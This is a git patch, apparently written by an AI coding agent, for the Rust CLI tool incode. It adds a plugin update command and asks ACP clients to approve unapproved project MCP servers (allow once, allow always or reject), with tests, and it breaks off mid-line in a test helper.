From d5a3d7e0efa7302844946948ea7a9eb6e7b4df0f Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 18:08:23 +0000 Subject: [PATCH 1/6] plugin update, and project MCP servers approved over ACP `incode plugin update [name] [--project]`: `add` now records where a plugin came from in `.incode-source` (`git = ...` or `path = ...`; a plugin cloned before falls back to its git origin). `update` fetches it again the same way into a staging folder, refuses a manifest that names another plugin, and swaps it in, printing old -> new version. No name updates every plugin in that folder. `--acp`: a project `.mcp.json` server not yet approved is no longer only skipped. Once the session is answered the client is sent `session/request_permission` (allow once / allow always / reject) on a thread of its own; an allowed server connects in the background into the session's servers (`LateServers`), and allow always is remembered like `incode mcp approve`. A client that cannot answer, or does not within ten minutes, gets the old skip-and-approve-command message. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- README.md | 16 +- src/acp_agent/flow_tests.rs | 159 +++++++++++++++ src/acp_agent/mod.rs | 31 ++- src/acp_agent/permission.rs | 235 ++++++++++++++++++--- src/main.rs | 2 +- src/mcp_config.rs | 95 ++++++--- src/plugins.rs | 374 +++++++++++++++++++++++++++++++++- src/toolbox/client_servers.rs | 46 ++++- src/toolbox/mod.rs | 52 +++++ 9 files changed, 934 insertions(+), 76 deletions(-) diff --git a/README.md b/README.md index 6bfad2c..8e6f3f0 100644 --- a/README.md +++ b/README.md @@ -592,9 +592,15 @@ session). `${INCODE_PLUGIN_ROOT}` in a hook or server is the plugin's folder. incode plugin list incode plugin add https://github.com/you/incode-web-plugin # git clone --depth 1 incode plugin add ./my-plugin --project # copied into .incode/plugins/ +incode plugin update [web] # fetch again; no name: all incode plugin remove web ``` +`add` records where a plugin came from (`.incode-source` in its folder), and +`update` fetches it again the same way — a fresh clone of the git URL or a +fresh copy of the folder — then swaps it in, printing the old and new +`version`. An update whose `plugin.toml` names a different plugin is refused. + A plugin's hooks and servers run with your authority; install only what you would run yourself. Skills and hooks are read for the directory incode was started in. @@ -747,9 +753,13 @@ incode starts the MCP servers named in a project's `.mcp.json` and in your `git clone` can bring one. The REPL asks; approvals are remembered in `~/.incode/mcp-approvals.json`, keyed by the server's name and a sha256 of its type, command, args, env, url and headers as written — change any of - them and it is asked about again. Under `-t` and `--acp` an unapproved - server is skipped with the command that approves it. Your own - `~/.incode/mcp.json` needs no approval. + them and it is asked about again. Under `--acp` the client is asked, once + the session is open, with `session/request_permission` (allow once, allow + always — remembered like `incode mcp approve` — or reject); the session + does not wait, and an allowed server connects in the background. Under + `-t`, or when the client cannot answer, an unapproved server is skipped + with the command that approves it. Your own `~/.incode/mcp.json` needs no + approval. ```sh incode mcp list # every server, its scope and status diff --git a/src/acp_agent/flow_tests.rs b/src/acp_agent/flow_tests.rs index 2975512..e4fb8b1 100644 --- a/src/acp_agent/flow_tests.rs +++ b/src/acp_agent/flow_tests.rs @@ -329,6 +329,165 @@ fn session_new_answers_before_a_slow_server_has_listed_its_tools() { client.close(); } +/// A workspace whose `.mcp.json` names the fake server as `fake`, logging +/// its calls to `log`. +fn workspace_with_project_server(log: &Path) -> tempfile::TempDir { + let spec = crate::toolbox::fake_server("fake", log); + let crate::toolbox::Transport::Stdio { command, args, env } = spec.transport else { + panic!("the fake is a stdio server"); + }; + let dir = tempfile::tempdir().expect("ws"); + let env: serde_json::Map = env + .into_iter() + .map(|(name, value)| (name, Value::String(value))) + .collect(); + std::fs::write( + dir.path().join(crate::mcp_config::PROJECT_FILE), + json!({"mcpServers": {"fake": {"command": command, "args": args, "env": env}}}).to_string(), + ) + .expect("write .mcp.json"); + dir +} + +/// Open a session in a workspace whose `.mcp.json` names a server not yet +/// approved, and return the client, the session, the workspace and the +/// `session/request_permission` it was sent about the server — checked to +/// come after `session/new` was answered. +fn asked_about_a_project_server(log: &Path) -> (Client, String, tempfile::TempDir, Value) { + let mut client = client(super::tests::Behaviour::CallMcp); + let ws = workspace_with_project_server(log); + let id = client.request("session/new", json!({"cwd": ws.path(), "mcpServers": []})); + let (before, reply) = client.until_response(id); + assert!( + before + .iter() + .all(|m| m["method"] != "session/request_permission"), + "asked before the session was answered: {before:#?}" + ); + let session = result_of(&reply)["sessionId"] + .as_str() + .expect("id") + .to_string(); + let asked = loop { + let message = client.next(); + if message["method"] == "session/request_permission" { + break message; + } + }; + let params = &asked["params"]; + assert_eq!(params["sessionId"], session, "{asked}"); + assert!( + params["toolCall"]["title"] + .as_str() + .is_some_and(|t| t.contains("MCP server `fake`") && t.contains(".mcp.json")), + "{asked}" + ); + let kinds: Vec<&str> = params["options"] + .as_array() + .expect("options") + .iter() + .filter_map(|o| o["kind"].as_str()) + .collect(); + assert_eq!( + kinds, + ["allow_once", "allow_always", "reject_once"], + "{asked}" + ); + (client, session, ws, asked) +} + +fn answer(client: &mut Client, asked: &Value, option: &str) { + client.send_raw( + &json!({"jsonrpc": "2.0", "id": asked["id"], + "result": {"outcome": {"outcome": "selected", "optionId": option}}}) + .to_string(), + ); +} + +/// Call `mcp__fake__echo` in `session` and say whether it ran. +fn echo_runs(client: &mut Client, session: &str) -> bool { + let (streamed, reply) = prompt_in(client, session, "call the echo"); + assert_eq!(reply["result"]["stopReason"], "end_turn", "{reply}"); + updates_of(&streamed) + .iter() + .find(|u| u["sessionUpdate"] == "tool_call_update" && u["toolCallId"] == "m1") + .is_some_and(|u| u["status"] == "completed") +} + +fn approved(client: &Client, ws: &Path) -> bool { + let file = crate::mcp_config::read(&ws.join(crate::mcp_config::PROJECT_FILE)).expect("read"); + crate::mcp_config::is_approved(client.data_dir(), "fake", &file.servers["fake"]) +} + +/// **A PROJECT'S SERVER IS ASKED ABOUT OVER ACP — ALLOW ONCE.** Once the +/// session is answered the client is asked; allowed once, the server +/// connects and its tool runs, and nothing is remembered. +#[test] +fn a_project_server_allowed_once_connects_and_is_not_remembered() { + let logs = tempfile::tempdir().expect("logs"); + let log = logs.path().join("calls.log"); + let (mut client, session, ws, asked) = asked_about_a_project_server(&log); + answer(&mut client, &asked, "allow"); + said_until(&mut client, "MCP server `fake`: 1 tool(s)"); + assert!(echo_runs(&mut client, &session)); + assert_eq!(crate::toolbox::client_server_calls(&log).len(), 1); + assert!(!approved(&client, ws.path()), "allow once was remembered"); + client.close(); +} + +/// **ALLOW ALWAYS** connects it and remembers the approval as `incode mcp +/// approve` would: the next session starts it without asking. +#[test] +fn a_project_server_allowed_always_is_remembered() { + let logs = tempfile::tempdir().expect("logs"); + let log = logs.path().join("calls.log"); + let (mut client, session, ws, asked) = asked_about_a_project_server(&log); + answer(&mut client, &asked, "allow-always"); + said_until(&mut client, "MCP server `fake`: 1 tool(s)"); + assert!(echo_runs(&mut client, &session)); + assert!( + approved(&client, ws.path()), + "allow always was not remembered" + ); + + let id = client.request("session/new", json!({"cwd": ws.path(), "mcpServers": []})); + client.until_response(id); + let said = said_until(&mut client, "MCP server `fake`: 1 tool(s)"); + assert!(!said.contains("approve"), "{said}"); + client.close(); +} + +/// **REJECT** leaves it unstarted, says so, and remembers nothing. +#[test] +fn a_rejected_project_server_is_not_started() { + let logs = tempfile::tempdir().expect("logs"); + let log = logs.path().join("calls.log"); + let (mut client, session, ws, asked) = asked_about_a_project_server(&log); + answer(&mut client, &asked, "reject"); + said_until(&mut client, "was not approved and is not started"); + assert!(!echo_runs(&mut client, &session)); + assert!(crate::toolbox::client_server_calls(&log).is_empty()); + assert!(!approved(&client, ws.path())); + client.close(); +} + +/// **A CLIENT THAT CANNOT ASK** — it answers "method not found" — gets what +/// `-t` gets: the server skipped, with the command that approves it. +#[test] +fn a_client_that_cannot_ask_leaves_the_project_server_skipped() { + let logs = tempfile::tempdir().expect("logs"); + let log = logs.path().join("calls.log"); + let (mut client, _session, ws, asked) = asked_about_a_project_server(&log); + client.send_raw( + &json!({"jsonrpc": "2.0", "id": asked["id"], + "error": {"code": -32601, "message": "method not found"}}) + .to_string(), + ); + said_until(&mut client, "`incode mcp approve fake` approves it"); + assert!(!approved(&client, ws.path())); + client.close(); +} + /// Open a session handed `server` — a fake whose tools include `echo` — /// call `mcp__fake__echo` through the gate, then again once read-only. /// `calls` counts the calls that reached the server. diff --git a/src/acp_agent/mod.rs b/src/acp_agent/mod.rs index 02de24a..5193bb8 100644 --- a/src/acp_agent/mod.rs +++ b/src/acp_agent/mod.rs @@ -48,7 +48,9 @@ //! //! - `session/request_permission` — when the memory engine says a call on //! incode's own tools needs a person ([`permission`]). The client's response -//! comes back on the reader and is handed to the waiting turn. +//! comes back on the reader and is handed to the waiting turn. Also, once a +//! session is answered, for each project `.mcp.json` server not yet +//! approved — allow once, allow always or reject — from a thread of its own. //! //! # Threads //! @@ -1025,17 +1027,18 @@ fn drive( let (tools, about_tools) = factory.tool_servers(); specs.extend(tools); connected.extend(about_tools); - // `.mcp.json` and `~/.incode/mcp.json`. The protocol has no way to ask - // about a project's server, so only approved ones start. - let (from_files, about_files) = - crate::mcp_config::session_servers(&workspace, &factory.data_dir(), None); + // `.mcp.json` and `~/.incode/mcp.json`. A project's server nobody has + // approved yet is asked about once the session is answered, below. + let (from_files, about_files, unapproved) = + crate::mcp_config::session_servers_asking_later(&workspace, &factory.data_dir(), None); specs.extend(from_files); connected.extend(about_files); let later: Arc> = Arc::default(); + let on_connected = connected_later(outbox, session_id, shared, &later); connected.extend(session.session_tools().connect_client_servers( specs, &workspace, - &connected_later(outbox, session_id, shared, &later), + &on_connected, )); for line in &connected { eprintln!("incode acp: {line}"); @@ -1087,6 +1090,17 @@ fn drive( say(acp::SessionUpdate::AvailableCommandsUpdate( acp::AvailableCommandsUpdate::new(commands::available()), )); + // After the answer too: the client is asked about the session it knows. + // Not waited for — each one allowed connects in the background. + permission::ServerApprovals { + outbox: Arc::clone(outbox), + session: session_id.clone(), + workspace: held.workspace.clone(), + data_dir: factory.data_dir(), + late: held.session.session_tools().late_servers(), + said: on_connected, + } + .ask_in_background(unapproved); if !connected.is_empty() { say(acp::SessionUpdate::AgentMessageChunk( acp::ContentChunk::new(acp::ContentBlock::from(format!( @@ -2137,6 +2151,11 @@ mod tests { self.until_response(id).1 } + /// The sessions' settings directory: where approvals are kept. + pub(super) fn data_dir(&self) -> &Path { + self._data_dir.path() + } + pub(super) fn open_session(&mut self, cwd: &Path) -> String { let reply = self.call("session/new", json!({"cwd": cwd, "mcpServers": []})); reply["result"]["sessionId"] diff --git a/src/acp_agent/permission.rs b/src/acp_agent/permission.rs index 6b50742..69a90cc 100644 --- a/src/acp_agent/permission.rs +++ b/src/acp_agent/permission.rs @@ -13,6 +13,12 @@ //! than `session/request_permission` with "method not supported", so a //! question sent that way could never be answered. It is reported to the model //! as unanswered instead, with its options. +//! +//! A project's MCP server not yet approved (`.mcp.json`, see +//! [`crate::mcp_config`]) is asked about the same way, once the session is +//! answered: allow once, allow always (remembered as `incode mcp approve` +//! would) or reject ([`ServerApprovals`]). An allowed server then connects in +//! the background, like the client's own. use std::sync::mpsc::RecvTimeoutError; use std::sync::Arc; @@ -76,53 +82,228 @@ fn request_for(session: &acp::SessionId, ask: &Ask<'_>) -> acp::RequestPermissio ) } -/// What the client's answer means. `None` when it is not an answer at all. -fn verdict_of(reply: Reply) -> Option { +/// What the client chose. +enum Chosen { + /// The option with this id. + Option(String), + /// Nothing: it cancelled the question. + Cancelled, +} + +/// What the client's answer says. `None` when it is not an answer at all; +/// `about` names what was asked, for the log. +fn chosen_in(reply: Reply, about: &str) -> Option { let result: Value = match reply { Ok(result) => result, Err(error) => { - // A client that cannot ask leaves it to the owner's app. - eprintln!("incode acp: the client could not ask about a tool call: {error:?}"); + eprintln!("incode acp: the client could not ask about {about}: {error:?}"); return None; } }; let answer = serde_json::from_value::(result).ok()?; Some(match answer.outcome { - acp::RequestPermissionOutcome::Selected(chosen) if &*chosen.option_id.0 == ALLOW => { - Verdict::Allow - } - acp::RequestPermissionOutcome::Selected(_) => { - Verdict::Deny("NOT RUN — refused in the client.".to_string()) + acp::RequestPermissionOutcome::Selected(chosen) => { + Chosen::Option(chosen.option_id.0.to_string()) } + _ => Chosen::Cancelled, + }) +} + +/// What the client's answer means. `None` when it is not an answer at all. +fn verdict_of(reply: Reply) -> Option { + // A client that cannot ask leaves it to the owner's app. + Some(match chosen_in(reply, "a tool call")? { + Chosen::Option(id) if id == ALLOW => Verdict::Allow, + Chosen::Option(_) => Verdict::Deny("NOT RUN — refused in the client.".to_string()), // The client cancels a pending question when its turn is cancelled. - _ => Verdict::Deny("NOT RUN — the client cancelled the question.".to_string()), + Chosen::Cancelled => { + Verdict::Deny("NOT RUN — the client cancelled the question.".to_string()) + } }) } +/// Send `request` and wait for the client's answer, until `settled` says it +/// is no longer wanted. `None` then, or when the client has gone. +fn ask_client( + outbox: &Outbox, + request: acp::RequestPermissionRequest, + settled: &dyn Fn() -> bool, +) -> Option { + let (id, answered) = + outbox.request(acp::CLIENT_METHOD_NAMES.session_request_permission, request); + loop { + match answered.recv_timeout(LOOK_EVERY) { + Ok(reply) => return Some(reply), + Err(RecvTimeoutError::Timeout) => { + if settled() { + // The client's card stays until it is answered or the turn + // ends; its answer is then dropped. + outbox.forget(&id); + return None; + } + } + Err(RecvTimeoutError::Disconnected) => return None, + } + } +} + impl Prompter for ClientPrompter { fn confirm(&self, ask: &Ask<'_>, settled: &dyn Fn() -> bool) -> Option { - let request = request_for(&self.session, ask); - let (id, answered) = self - .outbox - .request(acp::CLIENT_METHOD_NAMES.session_request_permission, request); - loop { - match answered.recv_timeout(LOOK_EVERY) { - Ok(reply) => return verdict_of(reply), - Err(RecvTimeoutError::Timeout) => { - if settled() { - // Answered in the owner's app, or the turn stopped. The - // client's card stays until it is answered or the turn - // ends; its answer is then dropped. - self.outbox.forget(&id); - return None; + // `settled`: answered in the owner's app, or the turn stopped. + let reply = ask_client(&self.outbox, request_for(&self.session, ask), settled)?; + verdict_of(reply) + } + + fn choose(&self, _questions: &[crate::ask::Question]) -> Option> { + None + } +} + +// --------------------------------------------------------------------------- +// A project's MCP servers +// --------------------------------------------------------------------------- + +/// The option that allows a project's server from now on, as `incode mcp +/// approve` would. +const ALWAYS: &str = "allow-always"; + +/// How long one project server waits for the client's answer before it is +/// skipped as if the client could not ask. +const SERVER_ASK_BOUND: Duration = Duration::from_secs(10 * 60); + +/// What the client said about one project server. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum ServerAnswer { + Once, + Always, + Reject, +} + +/// The request the client is sent for a project server not yet approved: the +/// same shape as a tool call's, with an allow-always option too. +fn server_request( + session: &acp::SessionId, + server: &crate::mcp_config::Configured, +) -> acp::RequestPermissionRequest { + let call = acp::ToolCallUpdate::new( + format!("incode-mcp-{}", server.name), + acp::ToolCallUpdateFields::new() + .title(format!( + "Start MCP server `{}` from {} — {}", + server.name, + crate::mcp_config::PROJECT_FILE, + server.entry.summary() + )) + .kind(acp::ToolKind::Execute) + .status(acp::ToolCallStatus::Pending) + .raw_input(serde_json::json!({ + "server": server.name, + "file": crate::mcp_config::PROJECT_FILE, + "starts": server.entry.summary(), + })), + ); + acp::RequestPermissionRequest::new( + session.clone(), + call, + vec![ + acp::PermissionOption::new(ALLOW, "Allow once", acp::PermissionOptionKind::AllowOnce), + acp::PermissionOption::new( + ALWAYS, + "Always allow", + acp::PermissionOptionKind::AllowAlways, + ), + acp::PermissionOption::new(REJECT, "Reject", acp::PermissionOptionKind::RejectOnce), + ], + ) +} + +/// What the client's answer about a server means. `None` when it is not an +/// answer at all. +fn server_answer_of(reply: Reply) -> Option { + Some(match chosen_in(reply, "a project MCP server")? { + Chosen::Option(id) if id == ALLOW => ServerAnswer::Once, + Chosen::Option(id) if id == ALWAYS => ServerAnswer::Always, + Chosen::Option(_) | Chosen::Cancelled => ServerAnswer::Reject, + }) +} + +/// Where the answers about a session's project servers go. +pub(crate) struct ServerApprovals { + pub(crate) outbox: Arc, + pub(crate) session: acp::SessionId, + pub(crate) workspace: std::path::PathBuf, + /// Where an "allow always" is remembered. + pub(crate) data_dir: std::path::PathBuf, + /// The session's servers, to start an allowed one into. + pub(crate) late: crate::toolbox::LateServers, + /// Told every line about them, as the client's own servers are. + pub(crate) said: crate::toolbox::OnConnected, +} + +impl ServerApprovals { + /// Ask the client about each of `servers` in turn, on a thread of its + /// own — the session is already answered — and start each one allowed. + /// Once the client gives no answer (it cannot ask, the bound passed, it + /// went), the rest are skipped with the command that approves them, as + /// when there is nobody to ask. + pub(crate) fn ask_in_background(self, servers: Vec) { + if servers.is_empty() { + return; + } + std::thread::spawn(move || self.ask_each(servers, SERVER_ASK_BOUND)); + } + + fn ask_each(&self, servers: Vec, bound: Duration) { + let mut answering = true; + for server in servers { + if !self.late.is_open() { + return; + } + let answer = if answering { + let deadline = std::time::Instant::now() + bound; + let settled = || !self.late.is_open() || std::time::Instant::now() >= deadline; + ask_client( + &self.outbox, + server_request(&self.session, &server), + &settled, + ) + .and_then(server_answer_of) + } else { + None + }; + match answer { + Some(ServerAnswer::Reject) => { + (self.said)(crate::mcp_config::refused(&server.name)); + } + Some(allowed) => { + if allowed == ServerAnswer::Always { + if let Err(why) = + crate::mcp_config::approve(&self.data_dir, &server.name, &server.entry) + { + (self.said)(crate::mcp_config::approved_once(&server.name, &why)); + } } + self.start(&server); + } + None => { + answering = false; + if !self.late.is_open() { + return; + } + (self.said)(crate::mcp_config::not_approved(&server.name, &server.entry)); } - Err(RecvTimeoutError::Disconnected) => return None, } } } - fn choose(&self, _questions: &[crate::ask::Question]) -> Option> { - None + fn start(&self, server: &crate::mcp_config::Configured) { + match server.spec() { + Ok(spec) => { + for line in self.late.connect(vec![spec], &self.workspace, &self.said) { + (self.said)(line); + } + } + Err(why) => (self.said)(why), + } } } diff --git a/src/main.rs b/src/main.rs index f8a4864..2d2ae5b 100644 --- a/src/main.rs +++ b/src/main.rs @@ -19,7 +19,7 @@ USAGE: incode update [--check] Install the latest release over this program (sha256 checked); --check only reports it incode review [--base ] [-p] Review the current change (see `incode review -h`) - incode plugin list | add [--project] | remove [--project] + incode plugin list | add | update [name] | remove [--project] incode mcp ... (see `incode mcp help`) OPTIONS: diff --git a/src/mcp_config.rs b/src/mcp_config.rs index 30274aa..1b8607e 100644 --- a/src/mcp_config.rs +++ b/src/mcp_config.rs @@ -41,8 +41,11 @@ //! (type, command, args, env, url, headers — as written, before expansion). //! Approvals are kept in `~/.incode/mcp-approvals.json`; a repository that //! changes its server's command needs approving again. The REPL asks at -//! start; elsewhere (`-t`, `--acp`) an unapproved server is skipped, with the -//! command that approves it: `incode mcp approve `. The user's own +//! start; `--acp` asks the client once the session is open +//! (`session/request_permission`: allow once, allow always, reject — see +//! `acp_agent::permission`). Under `-t`, or when the client cannot answer, an +//! unapproved server is skipped, with the command that approves it: +//! `incode mcp approve `. The user's own //! `~/.incode/mcp.json` needs no approval — the user wrote it. //! //! A project's server overrides the user's of the same name, and still needs @@ -440,45 +443,89 @@ pub(crate) fn session_servers( data_dir: &Path, ask: Option>, ) -> (Vec, Vec) { + let (specs, mut said, unapproved) = session_servers_asking_later(workspace, data_dir, ask); + said.extend( + unapproved + .iter() + .map(|server| not_approved(&server.name, &server.entry)), + ); + (specs, said) +} + +/// [`session_servers`], with the project servers not yet approved — and not +/// asked about, with no `ask` — handed back instead of said: for a caller +/// that asks about them once the session is open (`--acp`). +pub(crate) fn session_servers_asking_later( + workspace: &Path, + data_dir: &Path, + ask: Option>, +) -> (Vec, Vec, Vec) { let (servers, mut said) = configured(workspace, data_dir); let mut specs = Vec::new(); + let mut unapproved = Vec::new(); for server in servers { - let Configured { name, scope, entry } = server; - if scope == Scope::Project && !is_approved(data_dir, &name, &entry) { + if server.scope == Scope::Project && !is_approved(data_dir, &server.name, &server.entry) { match ask { - Some(ask) if ask(&name, &entry) => { - if let Err(why) = approve(data_dir, &name, &entry) { - said.push(format!( - "MCP server `{name}` approved for this session only: {why}" - )); + Some(ask) if ask(&server.name, &server.entry) => { + if let Err(why) = approve(data_dir, &server.name, &server.entry) { + said.push(approved_once(&server.name, &why)); } } Some(_) => { - said.push(format!( - "MCP server `{name}` from {PROJECT_FILE} was not approved and is not \ - started" - )); + said.push(refused(&server.name)); continue; } None => { - said.push(format!( - "MCP server `{name}` from {PROJECT_FILE} is not started: it has not \ - been approved. `incode mcp approve {name}` approves it ({})", - entry.summary() - )); + unapproved.push(server); continue; } } } - match entry.to_spec(&name, &from_env) { + match server.spec() { Ok(spec) => specs.push(spec), - Err(why) => said.push(format!( - "MCP server `{name}` ({} settings) is not started: {why}", - scope.as_str() - )), + Err(why) => said.push(why), } } - (specs, said) + (specs, said, unapproved) +} + +impl Configured { + /// This server as the toolbox connects it, or why it cannot start. + /// + /// # Errors + /// + /// It names no command or url for its type, or a variable is unset. + pub(crate) fn spec(&self) -> Result { + self.entry.to_spec(&self.name, &from_env).map_err(|why| { + format!( + "MCP server `{}` ({} settings) is not started: {why}", + self.name, + self.scope.as_str() + ) + }) + } +} + +/// What is said of a project server skipped for want of an approval. +#[must_use] +pub(crate) fn not_approved(name: &str, entry: &ServerEntry) -> String { + format!( + "MCP server `{name}` from {PROJECT_FILE} is not started: it has not been approved. \ + `incode mcp approve {name}` approves it ({})", + entry.summary() + ) +} + +/// What is said of a project server the person refused. +#[must_use] +pub(crate) fn refused(name: &str) -> String { + format!("MCP server `{name}` from {PROJECT_FILE} was not approved and is not started") +} + +/// What is said when an approval could not be remembered. +#[must_use] +pub(crate) fn approved_once(name: &str, why: &str) -> String { + format!("MCP server `{name}` approved for this session only: {why}") } /// `specs` less those the administrator's `[mcp]` lists refuse, and a line diff --git a/src/plugins.rs b/src/plugins.rs index 871ec74..bb8f264 100644 --- a/src/plugins.rs +++ b/src/plugins.rs @@ -34,6 +34,16 @@ //! A plugin is somebody else's bundle that the operator chose to install, so //! its hooks and servers run with the operator's authority. `incode plugin add` //! is the only thing that puts one there, and it says what it installed. +//! +//! # Updating +//! +//! `add` records where a plugin came from in its folder's [`SOURCE`] file — +//! `git = ""` or `path = ""`. `incode plugin update` fetches it +//! again the same way (a fresh `--depth 1` clone, or a fresh copy) into a +//! staging folder beside it and swaps the two, so a failed fetch leaves the +//! installed copy as it was. A fetch whose manifest names a different plugin +//! is refused: the name is what its commands, skills and servers are filed +//! under. use std::path::{Path, PathBuf}; @@ -43,6 +53,9 @@ pub const PLUGINS_DIR: &str = "plugins"; /// Every plugin's manifest. pub const MANIFEST: &str = "plugin.toml"; +/// Where an installed plugin came from, in its folder. +pub const SOURCE: &str = ".incode-source"; + /// What a plugin's root folder is called in its own paths. pub const ROOT_VAR: &str = "${INCODE_PLUGIN_ROOT}"; @@ -441,15 +454,20 @@ pub(crate) fn session_servers(workspace: &Path) -> (Vec Result { contents(&plugin) ) }), + ["update"] => update_all(&target), + ["update", name] => update(name, &target).map(|done| done.to_string()), ["remove", name] | ["rm", name] => { remove(name, &target).map(|path| format!("removed {}", path.display())) } @@ -536,13 +556,7 @@ pub fn add(source: &str, target: &Path) -> Result { .map_err(|e| format!("could not create {}: {e}", target.display()))?; let staging = target.join(format!(".adding-{}", std::process::id())); let _ = std::fs::remove_dir_all(&staging); - let local = Path::new(source); - let fetched = if local.is_dir() { - copy_dir(local, &staging).map_err(|e| format!("could not copy {source}: {e}")) - } else { - clone(source, &staging) - }; - let installed = fetched.and_then(|()| { + let installed = Source::of(source).fetch(&staging).and_then(|()| { let plugin = load_one(&staging, Scope::User)?; let dest = target.join(&plugin.manifest.name); if dest.exists() { @@ -560,6 +574,235 @@ pub fn add(source: &str, target: &Path) -> Result { installed } +/// Where a plugin is fetched from. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Source { + /// A git URL, cloned with `--depth 1`. + Git(String), + /// A local folder, copied — kept absolute, so an update from another + /// directory finds it. + Path(PathBuf), +} + +impl Source { + /// What `incode plugin add` was given: a folder when one is there, a git + /// URL otherwise. + #[must_use] + pub fn of(source: &str) -> Self { + let local = Path::new(source); + if local.is_dir() { + Self::Path(std::fs::canonicalize(local).unwrap_or_else(|_| local.to_path_buf())) + } else { + Self::Git(source.to_string()) + } + } + + /// Put a fresh copy into `dest`, and record there where it came from. + fn fetch(&self, dest: &Path) -> Result<(), String> { + match self { + Self::Git(url) => clone(url, dest)?, + Self::Path(from) => copy_dir(from, dest) + .map_err(|e| format!("could not copy {}: {e}", from.display()))?, + } + std::fs::write(dest.join(SOURCE), self.to_toml()) + .map_err(|e| format!("could not record where it came from: {e}")) + } + + fn to_toml(&self) -> String { + let (key, value) = match self { + Self::Git(url) => ("git", url.clone()), + Self::Path(path) => ("path", path.to_string_lossy().into_owned()), + }; + // A TOML literal string holds anything but a `'`, which a URL or a + // path seldom has; the basic string's escapes cover the rest. + if value.contains('\'') { + let escaped = value.replace('\\', "\\\\").replace('"', "\\\""); + format!("{key} = \"{escaped}\"\n") + } else { + format!("{key} = '{value}'\n") + } + } + + /// Where the plugin in `root` came from: its [`SOURCE`] file, or — for + /// one cloned before sources were recorded — its git `origin`. + pub fn recorded(root: &Path) -> Result { + if let Ok(text) = std::fs::read_to_string(root.join(SOURCE)) { + for raw in text.lines() { + let line = raw.trim(); + let Some((key, value)) = line.split_once('=') else { + continue; + }; + let value = toml_string(value.trim()) + .map_err(|e| format!("{}: {e}", root.join(SOURCE).display()))?; + match key.trim() { + "git" => return Ok(Self::Git(value)), + "path" => return Ok(Self::Path(PathBuf::from(value))), + _ => {} + } + } + return Err(format!( + "{} names neither `git` nor `path`", + root.join(SOURCE).display() + )); + } + if root.join(".git").exists() { + let out = std::process::Command::new("git") + .arg("-C") + .arg(root) + .args(["remote", "get-url", "origin"]) + .stdin(std::process::Stdio::null()) + .output() + .map_err(|e| format!("could not run git: {e}"))?; + let url = String::from_utf8_lossy(&out.stdout).trim().to_string(); + if out.status.success() && !url.is_empty() { + return Ok(Self::Git(url)); + } + } + Err(format!( + "{} does not say where it came from; remove it and add it again", + root.display() + )) + } +} + +impl std::fmt::Display for Source { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Git(url) => write!(f, "{url}"), + Self::Path(path) => write!(f, "{}", path.display()), + } + } +} + +/// What one update did. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Updated { + pub name: String, + pub from: String, + pub to: String, + pub source: Source, +} + +impl std::fmt::Display for Updated { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + let shown = |v: &str| { + if v.is_empty() { + "-".to_string() + } else { + v.to_string() + } + }; + if self.from == self.to { + write!( + f, + "updated plugin `{}` from {} (version {} unchanged)", + self.name, + self.source, + shown(&self.from) + ) + } else { + write!( + f, + "updated plugin `{}` from {}: {} → {}", + self.name, + self.source, + shown(&self.from), + shown(&self.to) + ) + } + } +} + +/// Fetch plugin `name` in `target` again from where it came from, and swap +/// it in. The installed copy is left as it was when anything fails. +pub fn update(name: &str, target: &Path) -> Result { + check_name(name)?; + let dest = target.join(name); + let installed = load_one(&dest, Scope::User).map_err(|_| { + format!( + "no plugin `{name}` in {} (`incode plugin list` shows what is installed)", + target.display() + ) + })?; + let source = Source::recorded(&dest)?; + let staging = target.join(format!(".updating-{name}-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&staging); + let swapped = source.fetch(&staging).and_then(|()| { + let fetched = load_one(&staging, Scope::User)?; + if fetched.manifest.name != installed.manifest.name { + return Err(format!( + "not updated: {source} is now plugin `{}`, not `{}`; remove `{}` and add it \ + again if that is what you want", + fetched.manifest.name, installed.manifest.name, installed.manifest.name + )); + } + swap(&staging, &dest)?; + Ok(Updated { + name: installed.manifest.name.clone(), + from: installed.manifest.version.clone(), + to: fetched.manifest.version, + source: source.clone(), + }) + }); + let _ = std::fs::remove_dir_all(&staging); + swapped +} + +/// Put `fresh` where `dest` is, moving the old copy aside first and back if +/// the second move fails. +fn swap(fresh: &Path, dest: &Path) -> Result<(), String> { + let mut old = dest.as_os_str().to_owned(); + old.push(format!(".old-{}", std::process::id())); + let old = PathBuf::from(old); + let _ = std::fs::remove_dir_all(&old); + std::fs::rename(dest, &old) + .map_err(|e| format!("could not move {} aside: {e}", dest.display()))?; + if let Err(e) = std::fs::rename(fresh, dest) { + let _ = std::fs::rename(&old, dest); + return Err(format!( + "could not move the update into {}: {e}", + dest.display() + )); + } + let _ = std::fs::remove_dir_all(&old); + Ok(()) +} + +/// [`update`] every plugin in `target`. One that fails does not stop the +/// rest; any failure makes the whole an error, with every line said. +pub fn update_all(target: &Path) -> Result { + let mut names: Vec = std::fs::read_dir(target) + .map(|entries| { + entries + .filter_map(Result::ok) + .filter(|e| e.path().join(MANIFEST).is_file()) + .map(|e| e.file_name().to_string_lossy().into_owned()) + .filter(|n| !n.starts_with('.')) + .collect() + }) + .unwrap_or_default(); + names.sort(); + if names.is_empty() { + return Ok(format!("no plugins to update in {}", target.display())); + } + let mut lines = Vec::new(); + let mut failed = false; + for name in names { + match update(&name, target) { + Ok(done) => lines.push(done.to_string()), + Err(why) => { + failed = true; + lines.push(format!("plugin `{name}`: {why}")); + } + } + } + if failed { + Err(lines.join("\n")) + } else { + Ok(lines.join("\n")) + } +} + /// `git clone --depth 1 `. fn clone(url: &str, dest: &Path) -> Result<(), String> { let out = std::process::Command::new("git") @@ -752,6 +995,121 @@ mod tests { assert!(!target.join("checkout-name").exists()); } + /// Bump the manifest in `root` to `version`, under `name`. + fn manifest(root: &Path, name: &str, version: &str) { + write( + &root.join(MANIFEST), + &format!("name = \"{name}\"\nversion = \"{version}\"\n"), + ); + } + + fn git(dir: &Path, args: &[&str]) { + let out = std::process::Command::new("git") + .arg("-C") + .arg(dir) + .args(["-c", "user.name=t", "-c", "user.email=t@t", "-c"]) + .arg("commit.gpgsign=false") + .args(args) + .output() + .expect("git 